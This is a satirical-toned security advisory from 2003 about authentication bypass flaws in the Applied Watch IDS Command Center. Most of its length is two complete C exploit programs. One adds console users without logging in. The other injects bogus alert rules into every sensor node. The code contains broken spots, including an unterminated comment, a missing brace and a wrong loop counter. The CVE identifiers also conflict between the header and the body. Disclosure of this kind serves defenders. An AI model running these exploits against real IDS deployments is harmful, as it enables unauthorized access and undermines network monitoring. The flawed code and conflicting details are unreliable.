Multiple Remote Issues in Applied Watch IDS Suite (advisory attached)

2003-11-2900:00:00

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            Bugtraq Security Systems, Incorporated
                        www.bugtraq.org

                       Security Advisory

Advisory Name: Multiple Issues in Applied Watch Command Center
Release Date: 11/27/2003
Application: Applied Watch
Platform: Linux (IA32)
Linux (sparc)
Linux (sparc64)
Linux (hppa)
Linux (ppc)
Linux (xbox)
Linux (IA64)
SUN Solaris (IA32)
SUN Solaris (sparc)
SUN Solaris (sparc64)
OpenBSD (386)
HPUX (hppa)
HPUX (IA64)
Compaq True64
Microsoft Windows NT (Alpha)
Microsoft Windows NT (IA32)
Severity: Secure protocol implementation weaknesses, allows for
authentication bypass and compromise of IDS nodes.
Author: The Bugtraq Team, Collectively [[email protected]]
Vendor Status: Patches pending.
CVE Candidate: CAN-2003-0970 - Authentication Bypass to Add IDS Rules
CAN-2003-0971 - Authentication Bypass to Add Users
Reference: www.bugtraq.org/advisories/_BSSADV-0000.txt

Overview:
The Applied Watch Command Center boasts the industry's first
truly OS-native platform for managing network threats in real-time. It
frees users from the unreliable, more difficult, and less-secure
Web-based monitoring enviornment of Snort IDS sensors. From a central,
desktop console Supporting Mac, Linux, Unix, and Windows, thousands of
IDS agents and the server can be monitored. The Command Center gives
you these benefits:

  1. Interprets alerts generated by third-party solutions, parsing
     the alerts into high, medium, and low priority;
  2. Allows you to identify false positives;
  3. Lets you store notes on events to prevent duplication of 
     effort, saving valuable man-hours;
  4. Provides greater security with an OS-native, desktop console;
  5. Lets you avoid the high cost of Security Information Management
     Systems &#40;SIMs&#41;; and
  6. Reduces your IDS cost of ownership.

  It should also be noted that the lead developer of this system is

named Jason Ish, who is a member of the core OpenBSD development team
and is therefor a security expert. He has a son named Theo, named after
the great pioneer of proactive security, Theo Deraadt.

  There exist a number of vulnerabilities in the various components

of the Applied Watch software suite; this advisory being the first of
many to come regarding the various logic-related security vulnerabilities
in the software. After all such problems are eliminated from the codebase,
we will begin releasing another set of advisories concerning multiple
instances in the code that allow for the remote execution of arbitrary code
throughout the various components of this system.

Details:

[1] Adding a User

Using the attached program, appliedsnatch.c, a malicious individual on a
network protected by the Applied Watch Solution can add new users to a
console, without having to authenticate to the system.

— begin appliedsnatch.c —

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>

#define PUT_UINT32(i, val)\
{\
buf[(i) ++] = ((val) >> 24) & 0xff;\
buf[(i) ++] = ((val) >> 16) & 0xff;\
buf[(i) ++] = ((val) >> 8) & 0xff;\
buf[(i) ++] = (val) & 0xff;\
}

int main(int argc, char *argv[])
{
unsigned char *buf;
unsigned int idx, i;
size_t userlen, passlen, buflen, lenidx;
int sock;
struct sockaddr_in sin;
unsigned char respbuf[28];
ssize_t n;
SSL_CTX *sslctx;
SSL *ssl;

if (argc != 5) { fprintf(stderr, "usage: %s <host> <port> <user> <pass>\n",
argv[0]); exit(1); }
userlen = strlen(argv[3]);
passlen = strlen(argv[4]);
buf = malloc(buflen = 12 + 4 + userlen + 4 + 4 + passlen + 4 + 4 + 4);
memset(buf, 0, buflen);
idx = 0;
PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver /
PUT_UINT32(idx, 0x6a);
lenidx = idx;
PUT_UINT32(idx, 0xf00fc7c8);
//PUT_UINT32(idx, 0); / uncomment for other protocol ver */
PUT_UINT32(idx, userlen);
memcpy(&buf[idx], argv[3], userlen); idx += userlen;
idx |= 3; idx ++;
PUT_UINT32(idx, passlen);
memcpy(&buf[idx], argv[4], passlen); idx += passlen;
idx |= 3; idx ++;
PUT_UINT32(idx, 0x1);
PUT_UINT32(idx, 0x1);
PUT_UINT32(lenidx, idx);
printf("connecting\n");
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
{
struct hostent *he;

if &#40;&#40;he = gethostbyname&#40;argv[1]&#41;&#41; == NULL&#41; { perror&#40;&quot;gethostbyname&#40;&#41;&quot;&#41;;

exit(1); }
memcpy(&sin.sin_addr, he->h_addr, 4);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
perror("connect()"); exit(1); }
printf("doing ssl handshake\n");
SSL_load_error_strings();
SSL_library_init();
if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { fprintf(stderr,
"SSL_CTX_new()\n"); exit(1); }
if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n");
exit(1); }
if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); exit(1);
if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); exit(1); }
printf("sending %u bytes:\n", idx);
for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
printf("\nreading:\n");
i = 0;
while (i < sizeof(respbuf))
{
if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) {
perror("read()"); exit(1); }
i -= n;
}
for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
printf("\n");
printf("adding user \"%s\" with password \"%s\" %s\n", argv[3], argv[4],
(memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" : "failed");
SSL_shutdown(ssl);
close(sock);
return 0;
}

— end appliedsnatch.c —

[2] Adding a Rule

Using the second attached program, addrule.c, a malicious individual can
introduce custom IDS alerts to all sensor nodes on a network, allowing a
human denial-of-service attack against the security experts monitoring the
console. This is a valid technique for subverting intrusion detection
systems. This is also a demonstration of the "sometimes good packets look
like bad packets, while bad packets go unnoticed by the intrusion detection
system" concept.

— begin addrule.c —

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>

#define PUT_UINT32(i, val)\
{\
buf[(i) ++] = ((val) >> 24) & 0xff;\
buf[(i) ++] = ((val) >> 16) & 0xff;\
buf[(i) ++] = ((val) >> 8) & 0xff;\
buf[(i) ++] = (val) & 0xff;\
}

int main(int argc, char *argv[])
{
unsigned char *buf;
unsigned int idx, i;
size_t rulelen, buflen, lenidx;
int sock;
struct sockaddr_in sin;
unsigned char respbuf[28];
ssize_t n;
SSL_CTX *sslctx;
SSL *ssl;
unsigned char *ruleset = "alert tcp any any -> any any (msg: \"GOBBLE
GOBBLE GOBBLE GOBBLE \\:PpppppPPppppppPPPPPPpppp\";)";

if (argc != 3) { fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(1); }
rulelen = strlen(ruleset);
buf = malloc(buflen = 12 + 4 + 4 + 4 + rulelen + 4);
memset(buf, 0, buflen);
idx = 0;
PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver /
PUT_UINT32(idx, 0x6f);
lenidx = idx;
PUT_UINT32(idx, 0xf00fc7c8);
//PUT_UINT32(idx, 0); / uncomment for other protocol ver */
PUT_UINT32(idx, 0);
PUT_UINT32(idx, 1);
PUT_UINT32(idx, rulelen);
memcpy(&buf[idx], ruleset, rulelen); idx += rulelen;
idx |= 3; idx ++;
PUT_UINT32(lenidx, idx);
printf("connecting\n");
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
{
struct hostent *he;

if &#40;&#40;he = gethostbyname&#40;argv[1]&#41;&#41; == NULL&#41; { perror&#40;&quot;gethostbyname&#40;&#41;&quot;&#41;;

exit(1); }
memcpy(&sin.sin_addr, he->h_addr, 4);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
perror("connect()"); exit(1); }
printf("doing ssl handshake\n");
SSL_load_error_strings();
SSL_library_init();
if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { fprintf(stderr,
"SSL_CTX_new()\n"); exit(1); }
if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n");
exit(1); }
if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); exit(1);
if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); exit(1); }
printf("sending %u bytes:\n", idx);
for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
printf("\nreading:\n");
i = 0;
while (i < sizeof(respbuf))
{
if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) {
perror("read()"); exit(1); }
i -= n;
}
for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
printf("\n");
printf("adding nasty ruleset %s\n", (memcmp(&respbuf[16], "\x00\x00\x00\x00",
4) == 0)? "succeeded" : "failed");
SSL_shutdown(ssl);
close(sock);
return 0;
}

— end addrule.c —

Vendor Response:
Bugtraq Security have attempted to contact the vendor multiple
times since the discovery of these vulnerabilities without success. A
public statement issued by the founder of the company, Eric Hines, helps
us understand why the company was unavailable for comment at the time:

 &quot;You&#39;ve got to realize that these people are walking around with

exploits that vendors haven't even heard of yet. They're pissed and
they've got this almost God-like power that enables them to break into
any network that they want," Hines said. He reported that FateLabs.com
was knocked offline last week by a denial-of-service attack immediately
after the security firm published an advisory about a security bug.

 We expect that once their network recovers from said incident, that

they will issue binary patches to both their clients and help reduce the
threat of compromise against those networks. Undoubtably they are aware
of these vulnerabilities already, and were hoping they would be brought
to public attention as, according to their website, they are "soldiers
for full disclosure".

ThreatCon:
The release of this information and exploits increases the Global
ThreatCon Level to a record-breaking index of 9/13 (more dangerous than
normal) level. We hope that Applied Watch will release their patches
soon so that the ThreatCon can be lowered to a more reasonable level. If
you have any questions regarding the Global ThreatCon, please visit
http://www.bugtraq.org/threatcon.html

Recommendation:
If the security of your network is required, then Fatelabs /
AppliedWatch products should be removed or disabled on the host in
question. If it is not required, enterprises should deploy vendor patches
for the above vulnerabilities when they become available. In addition,
enterprises should look to remove all default services if not required in
production systems or adequately protect those that are required and
undertake other obvious security measures.

Common Vulnerabilities and Exposures (CVE) Information:

The Common Vulnerabilities and Exposures (CVE) project has assigned
the following names to these issues. These are candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.

CAN-2003-0960 - Logical error in Applied Watch Console allowing user-adds
CAN-2003-0961 - Logical error in Applied Watch Nodes allowing rule-adds

Bugtraq Security Systems Vulnerability Reporting Policy:
http://www.bugtraq.org/research/policy/

Bugtraq Security Systems Advisory Archive:
http://www.bugtraq.org/advisories.html

Bugtraq Security Systems PGP Key:
http://www.bugtraq.org/pgp_key.asc

Bugtraq Security Systems is currently seeking application security experts
to fill several consulting positions. Applicants should have strong
application development skills and be able to perform application security
design reviews, code reviews, and application penetration testing. Please
send resumes to [email protected]

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